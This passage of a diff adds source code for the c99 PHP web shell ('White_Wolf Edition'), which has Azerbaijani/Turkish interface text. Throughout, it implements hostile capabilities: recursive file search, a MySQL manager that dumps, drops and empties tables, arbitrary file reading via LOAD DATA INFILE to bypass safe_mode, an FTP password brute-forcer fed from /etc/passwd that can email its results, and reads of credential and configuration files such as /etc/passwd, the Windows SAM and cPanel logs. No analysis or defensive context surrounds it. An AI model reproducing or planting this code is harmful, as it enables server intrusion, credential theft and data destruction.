+ $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
+ if (is_dir($d.$f))
+ {
+ $search_i_d++;
+ if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
+ if (!is_link($d.$f)) {c99fsearch($d.$f);}
+ }
+ else
+ {
+ $search_i_f++;
+ if ($bool)
+ {
+ if (!empty($a["text"]))
+ {
+ $r = @file_get_contents($d.$f);
+ if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
+ if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
+ if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
+ else {$bool = strpos(" ".$r,$a["text"],1);}
+ if ($a["text_not"]) {$bool = !$bool;}
+ if ($bool) {$found[] = $d.$f; $found_f++;}
+ }
+ else {$found[] = $d.$f; $found_f++;}
+ }
+ }
+ }
+ }
+ closedir($h);
+}
+}
+if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
+//Sending headers
+@ob_start();
+@ob_implicit_flush(0);
+function onphpshutdown()
+{
+ global $gzipencode,$ft;
+ if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
+ {
+ $v = @ob_get_contents();
+ @ob_end_clean();
+ @ob_start("ob_gzHandler");
+ echo $v;
+ @ob_end_flush();
+ }
+}
+function c99shexit()
+{
+ onphpshutdown();
+ exit;
+}
+header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
+header("Cache-Control: no-store, no-cache, must-revalidate");
+header("Cache-Control: post-check=0, pre-check=0", FALSE);
+header("Pragma: no-cache");
+if (empty($tmpdir))
+{
+ $tmpdir = ini_get("upload_tmp_dir");
+ if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
+}
+$tmpdir = realpath($tmpdir);
+$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
+if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
+if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
+else {$tmpdir_logs = realpath($tmpdir_logs);}
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+ $safemode = TRUE;
+ $hsafemode = "İşləyir ";
+}
+else {$safemode = FALSE; $hsafemode = "İşləmir ";}
+$v = @ini_get("open_basedir");
+if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v." ";}
+else {$openbasedir = FALSE; $hopenbasedir = "İşləmir ";}
+$sort = htmlspecialchars($sort);
+if (empty($sort)) {$sort = $sort_default;}
+$sort[1] = strtolower($sort[1]);
+$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
+if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
+$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()." ",htmlspecialchars($DISP_SERVER_SOFTWARE));
+@ini_set("highlight.bg",$highlight_bg);
+@ini_set("highlight.comment",$highlight_comment);
+@ini_set("highlight.default",$highlight_default);
+@ini_set("highlight.html",$highlight_html);
+@ini_set("highlight.keyword",$highlight_keyword);
+@ini_set("highlight.string",$highlight_string);
+if (!is_array($actbox)) {$actbox = array();}
+$dspact = $act = htmlspecialchars($act);
+$disp_fullpath = $ls_arr = $notls = null;
+$ud = urlencode($d);
+?>
+
+
+
+Special 99 Shell v1.25 // White_Wolf Edition
+
+
+
+ Developing by ฬђเtє_ฬ๏lŦ
+
+ Sistem :
+ Sistem Melumatlari : ",1); ?>
echo "B.Fonksiy0nlar : ";
+if(''==($df=@ini_get('disable_functions'))){echo " yox ";}else{echo "$df ";} ?>
+ Grup : ",1);} else {echo get_current_user();} ?>cURL : ".(($curl_on)?("İşləyir "):("İşləmir ")); ?> if(@ini_get("register_globals")){$reg_g="İşləyir ";}else{$reg_g="İşləmir ";} echo("Global Kayit : $reg_g"); ?>MySQL : ";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){
+echo "İşləyir "; } else { echo "İşləmir "; }
+echo " ";
+echo " MSSQL : ";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "İşləyir ";}else{echo "İşləmir ";} ?>PostgreSQL : ";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "İşləyir ";}else{echo "İşləmir ";} ?>Oracle : ";
+$ora_on = @function_exists('ocilogon');
+if($ora_on){echo "İşləyir ";}else{echo "İşləmir ";} ?>
+
Qorunma :
+
+ Serverdeki Saytlarin Siyahisi
+ ".htmlspecialchars($b).DIRECTORY_SEPARATOR." ";
+ $i++;
+}
+echo " ";
+if (is_writable($d))
+{
+ $wd = TRUE;
+ $wdt = "[ Ok! ] ";
+ echo "".view_perms(fileperms($d))." ";
+}
+else
+{
+ $wd = FALSE;
+ $wdt = "[ Sadece Okunabilir! ] ";
+ echo "".view_perms_color($d)." ";
+}
+if (is_callable("disk_free_space"))
+{
+ $free = disk_free_space($d);
+ $total = disk_total_space($d);
+ if ($free === FALSE) {$free = 0;}
+ if ($total === FALSE) {$total = 0;}
+ if ($free < 0) {$free = 0;}
+ if ($total < 0) {$total = 0;}
+ $used = $total-$free;
+ $free_percent = round(100/($total/$free),2);
+
+}
+$letters = "";
+if ($win)
+{
+ $v = explode("\\",$d);
+ $v = $v[0];
+ foreach (range("a","z") as $letter)
+ {
+ $bool = $isdiskette = in_array($letter,$safemode_diskettes);
+ if (!$bool) {$bool = is_dir($letter.":\\");}
+ if ($bool)
+ {
+ $letters .= "[ ";
+ if ($letter.":" != $v) {$letters .= $letter;}
+ else {$letters .= "".$letter." ";}
+ $letters .= " ] ";
+ }
+ }
+ if (!empty($letters)) {}
+}
+if (count($quicklaunch) > 0)
+{
+ foreach($quicklaunch as $item)
+ {
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+ $item[1] = str_replace("%sort",$sort,$item[1]);
+ $v = realpath($d."..");
+ if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
+ $item[1] = str_replace("%upd",urlencode($v),$item[1]);
+ echo "".$item[0]." ";
+ }
+}
+echo "
";
+if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "
";}
+echo "
";
+if ($act == "") {$act = $dspact = "ls";}
+if ($act == "sql")
+{
+ $sql_surl = $surl."act=sql";
+ if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
+ if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
+ if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
+ if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
+ if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
+ $sql_surl .= "&";
+ ?>
+ SQL Baglanti Sihirbazi: ";
+ if (!$sql_sock)
+ {
+ if (!$sql_server) {echo "Su anda baglanti y0k!";}
+ else {echo " Baglanti yapilamiy0r! "; echo "".$err." ";}
+ }
+ else
+ {
+ $sqlquicklaunch = array();
+ $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
+ $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
+ $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
+ $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
+ $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
+ $sqlquicklaunch[] = array("Logout",$surl."act=sql");
+ echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ";
+ if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ }
+ echo " ";
+ if (!$sql_sock) {?>
+
+ Database istifadəçi adı və şifrəsini yazın
+ Databasa şifrəsini və adını yazın
+ Port Nömrəsi ilə oynamayın
+ ">
+ Home
+ ".htmlspecialchars($sql_db)." ]--- ";
+ $c = 0;
+ while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].") "; mysql_free_result($count); $c++;}
+ if (!$c) {echo "No tables found in database.";}
+ }
+ }
+ else
+ {
+ ?>
+ Home
+ ".$row[0].""; $c++;}
+ echo "Databases (".$c.") ";
+ echo $dbs;
+ }
+ ?> Please, select database
+ ";
+ //Start center panel
+ $diplay = TRUE;
+ if ($sql_db)
+ {
+ if (!is_numeric($c)) {$c = 0;}
+ if ($c == 0) {$c = "no";}
+ echo "There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db)."). ";
+ if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ $acts = array("","dump");
+ if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
+ elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
+ elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
+ elseif ($sql_tbl_act == "insert")
+ {
+ if ($sql_tbl_insert_radio == 1)
+ {
+ $keys = "";
+ $akeys = array_keys($sql_tbl_insert);
+ foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
+ if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
+ $values = "";
+ $i = 0;
+ foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
+ if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
+ $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ elseif ($sql_tbl_insert_radio == 2)
+ {
+ $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
+ $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
+ $result = mysql_query($sql_query) or print(mysql_smarterror());
+ $result = mysql_fetch_array($result, MYSQL_ASSOC);
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ }
+ if ($sql_act == "query")
+ {
+ echo " ";
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act)) {echo "";}
+ }
+ if (in_array($sql_act,$acts))
+ {
+ ?>
+ ";}
+ if ($sql_act == "newtbl")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";
+ }
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ elseif ($sql_act == "dump")
+ {
+ if (empty($submit))
+ {
+ $diplay = FALSE;
+ echo "SQL-Dump: ";
+ echo "DB: ";
+ $v = join (";",$dmptbls);
+ echo "Only tables (explode \";\") 1 : ";
+ if ($dump_file) {$tmp = $dump_file;}
+ else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
+ echo "File: ";
+ echo "Download: ";
+ echo "Save to file: ";
+ echo "1 - all, if empty";
+ echo " ";
+ }
+ else
+ {
+ $diplay = TRUE;
+ $set = array();
+ $set["sock"] = $sql_sock;
+ $set["db"] = $sql_db;
+ $dump_out = "download";
+ $set["print"] = 0;
+ $set["nl2br"] = 0;
+ $set[""] = 0;
+ $set["file"] = $dump_file;
+ $set["add_drop"] = TRUE;
+ $set["onlytabs"] = array();
+ if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
+ $ret = mysql_dump($set);
+ if ($sql_dump_download)
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".strlen($ret));
+ header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
+ echo $ret;
+ exit;
+ }
+ elseif ($sql_dump_savetofile)
+ {
+ $fp = fopen($sql_dump_file,"w");
+ if (!$fp) {echo "Indirme Hatas?! Bu dosya yazilabilir degil \"".htmlspecialchars($sql_dump_file)."\"!";}
+ else
+ {
+ fwrite($fp,$ret);
+ fclose($fp);
+ echo "Indirildi! Yazilma basariyla tamamlandi \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
+ }
+ }
+ else {echo "Indirme: Indirilecek? ";}
+ }
+ }
+ if ($diplay)
+ {
+ if (!empty($sql_tbl))
+ {
+ if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
+ $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
+ $count_row = mysql_fetch_array($count);
+ mysql_free_result($count);
+ $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
+ $tbl_struct_fields = array();
+ while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
+ if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
+ if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
+ if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
+ if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
+ $perpage = $sql_tbl_le - $sql_tbl_ls;
+ if (!is_numeric($perpage)) {$perpage = 10;}
+ $numpages = $count_row[0]/$perpage;
+ $e = explode(" ",$sql_order);
+ if (count($e) == 2)
+ {
+ if ($e[0] == "d") {$asc_desc = "DESC";}
+ else {$asc_desc = "ASC";}
+ $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
+ }
+ else {$v = "";}
+ $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
+ $result = mysql_query($query) or print(mysql_smarterror());
+ echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) ";
+ echo "[ Structure ] ";
+ echo "[ Browse ] ";
+ echo "[ Dump ] ";
+ echo "[ Insert ] ";
+ if ($sql_tbl_act == "structure") {echo "Coming sooon! ";}
+ if ($sql_tbl_act == "insert")
+ {
+ if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
+ if (!empty($sql_tbl_insert_radio))
+ {
+
+ }
+ else
+ {
+ echo "Inserting row into table: ";
+ if (!empty($sql_tbl_insert_q))
+ {
+ $sql_query = "SELECT * FROM `".$sql_tbl."`";
+ $sql_query .= " WHERE".$sql_tbl_insert_q;
+ $sql_query .= " LIMIT 1;";
+ $result = mysql_query($sql_query,$sql_sock) or print(" ".mysql_smarterror());
+ $values = mysql_fetch_assoc($result);
+ mysql_free_result($result);
+ }
+ else {$values = array();}
+ echo " ";
+ echo "Insert as new row ";
+ if (!empty($sql_tbl_insert_q)) {echo " or Save "; echo " ";}
+ echo " ";
+ }
+ }
+ if ($sql_tbl_act == "browse")
+ {
+ $sql_tbl_ls = abs($sql_tbl_ls);
+ $sql_tbl_le = abs($sql_tbl_le);
+ echo " ";
+ echo "[Pages] ";
+ $b = 0;
+ for($i=0;$i<$numpages;$i++)
+ {
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}
+ echo $i;
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " ";}
+ if (($i/30 == round($i/30)) and ($i > 0)) {echo " ";}
+ else {echo " ";}
+ }
+ if ($i == 0) {echo "empty";}
+ echo "From: To: ";
+ echo "";
+ echo "With selected: ";
+ echo "SIL ";
+ echo "
";
+ }
+ }
+ else
+ {
+ $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
+ if (!$result) {echo mysql_smarterror();}
+ else
+ {
+ echo "";
+ echo "Sec: ";
+ echo "Drop ";
+ echo "Bosalt ";
+ echo "Indir ";
+ echo "Check table ";
+ echo "Optimize table ";
+ echo "Repair table ";
+ echo "Analyze table ";
+ echo "
";
+ mysql_free_result($result);
+ }
+ }
+ }
+ }
+ }
+ else
+ {
+ $acts = array("","newdb","serverstatus","servervars","processes","getfile");
+ if (in_array($sql_act,$acts)) {?>
+ ";
+ if ($sql_act == "newdb")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ if ($sql_act == "serverstatus")
+ {
+ $result = mysql_query("SHOW STATUS", $sql_sock);
+ echo " Server-status variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "servervars")
+ {
+ $result = mysql_query("SHOW VARIABLES", $sql_sock);
+ echo "Server variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "processes")
+ {
+ if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";}
+ $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
+ echo "Processes: ";
+ echo "ID USER HOST DB COMMAND TIME STATE INFO Action ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "getfile")
+ {
+ $tmpdb = $sql_login."_tmpdb";
+ $select = mysql_select_db($tmpdb);
+ if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
+ if ($select)
+ {
+ $created = FALSE;
+ mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
+ mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
+ $result = mysql_query("SELECT * FROM tmp_file;");
+ if (!$result) {echo "Error in reading file (permision denied)! ";}
+ else
+ {
+ for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty! ";}
+ else {echo "File \"".$sql_getfile."\": ".nl2br(htmlspecialchars($f))." ";}
+ mysql_free_result($result);
+ mysql_query("DROP TABLE tmp_file;");
+ }
+ }
+ mysql_drop_db($tmpdb);
+ }
+ }
+ }
+ }
+ echo "
";
+ if ($sql_sock)
+ {
+ $affected = @mysql_affected_rows($sql_sock);
+ if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
+ echo " Affected rows: ".$affected." ";
+ }
+ echo "
";
+}
+if ($act == "mkdir")
+{
+ if ($mkdir != $d)
+ {
+ if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";}
+ elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";}
+ echo " ";
+ }
+ $act = $dspact = "ls";
+}
+if ($act == "ftpquickbrute")
+{
+ echo "FTP Kirici: ";
+ if (!win) {echo "Bu ozellik Wind0ws serverlarda calismaz! ";}
+ else
+ {
+ function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
+ {
+ if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
+ else {$TRUE = TRUE;}
+ if ($TRUE)
+ {
+ $sock = @ftp_connect($host,$port,$timeout);
+ if (@ftp_login($sock,$login,$pass))
+ {
+ echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\" . ";
+ ob_flush();
+ return TRUE;
+ }
+ }
+ }
+ if (!empty($submit))
+ {
+ if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
+ $fp = fopen("/etc/passwd","r");
+ if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
+ else
+ {
+ if ($fqb_logging)
+ {
+ if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
+ else {$fqb_logfp = FALSE;}
+ $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
+ if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ }
+ ob_flush();
+ $i = $success = 0;
+ $ftpquick_st = getmicrotime();
+ while(!feof($fp))
+ {
+ $str = explode(":",fgets($fp,2048));
+ if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
+ {
+ echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\" ";
+ $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ $success++;
+ ob_flush();
+ }
+ if ($i > $fqb_lenght) {break;}
+ $i++;
+ }
+ if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
+ $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
+ echo "Done! Total time (secs.): ".$ftpquick_t." Total connections: ".$i." Success.: ".$success." Unsuccess.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." ";
+ $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
+ fclose($fqb_logfp);
+ }
+ }
+ else
+ {
+ $logfile = $tmpdir_logs."ftpquickbrute_".date("d.m.Y_H_i_s").".log";
+ $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
+ echo " Read first: Users only with shell? Logging? Logging to file? Logging to e-mail? ";
+ }
+ }
+}
+if ($act == "d")
+{
+ if (!is_dir($d)) {echo "Permision denied! ";}
+ else
+ {
+ echo "Directory information: ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d));
+ $gr = posix_getgrgid(filegroup($d));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
+ }
+ echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
+ }
+}
+if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
+if ($act == "security")
+{
+ echo "Server Information: Open base dir: ".$hopenbasedir." ";
+ if (!$win)
+ {
+ if ($nixpasswd)
+ {
+ if ($nixpasswd == 1) {$nixpasswd = 0;}
+ echo "*nix /etc/passwd: ";
+ if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
+ if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
+ echo "From: To: ";
+ $i = $nixpwd_s;
+ while ($i < $nixpwd_e)
+ {
+ $uid = posix_getpwuid($i);
+ if ($uid)
+ {
+ $uid["dir"] = "".$uid["dir"]." ";
+ echo join(":",$uid)." ";
+ }
+ $i++;
+ }
+ }
+ else {echo "Get /etc/passwd ";}
+ }
+ else
+ {
+ $v = $_SERVER["WINDIR"]."\repair\sam";
+ if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.") ";}
+ else {echo "You can crack winnt passwords. Download , and use lcp.crack+ ©. ";}
+ }
+ if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs ";}
+ if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";}
+ if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf) ";}
+ if (file_get_contents("/etc/motd")) {echo "Message Of The Day ";}
+ if (file_get_contents("/etc/hosts")) {echo "Hosts ";}
+ function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)." ";}}
+ displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
+ displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
+ displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
+ displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
+ displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
+ displaysecinfo("RAM",myshellexec("free -m"));
+ displaysecinfo("HDD space",myshellexec("df -h"));
+ displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
+ displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
+ displaysecinfo("Is cURL installed?",myshellexec("which curl"));
+ displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
+ displaysecinfo("Is links installed?",myshellexec("which links"));
+ displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
+ displaysecinfo("Is GET installed?",myshellexec("which GET"));
+ displaysecinfo("Is perl installed?",myshellexec("which perl"));
+ displaysecinfo("Where is apache",myshellexec("whereis apache"));
+ displaysecinfo("Where is perl?",myshellexec("whereis perl"));
+ displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
+ displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
+ displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
+ displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
+}
+if ($act == "mkfile")
+{
+ if ($mkfile != $d)
+ {
+ if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object alredy exists";}
+ elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied";}
+ else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
+ }
+ else {$act = $dspact = "ls";}
+}
+if ($act == "encoder")
+{
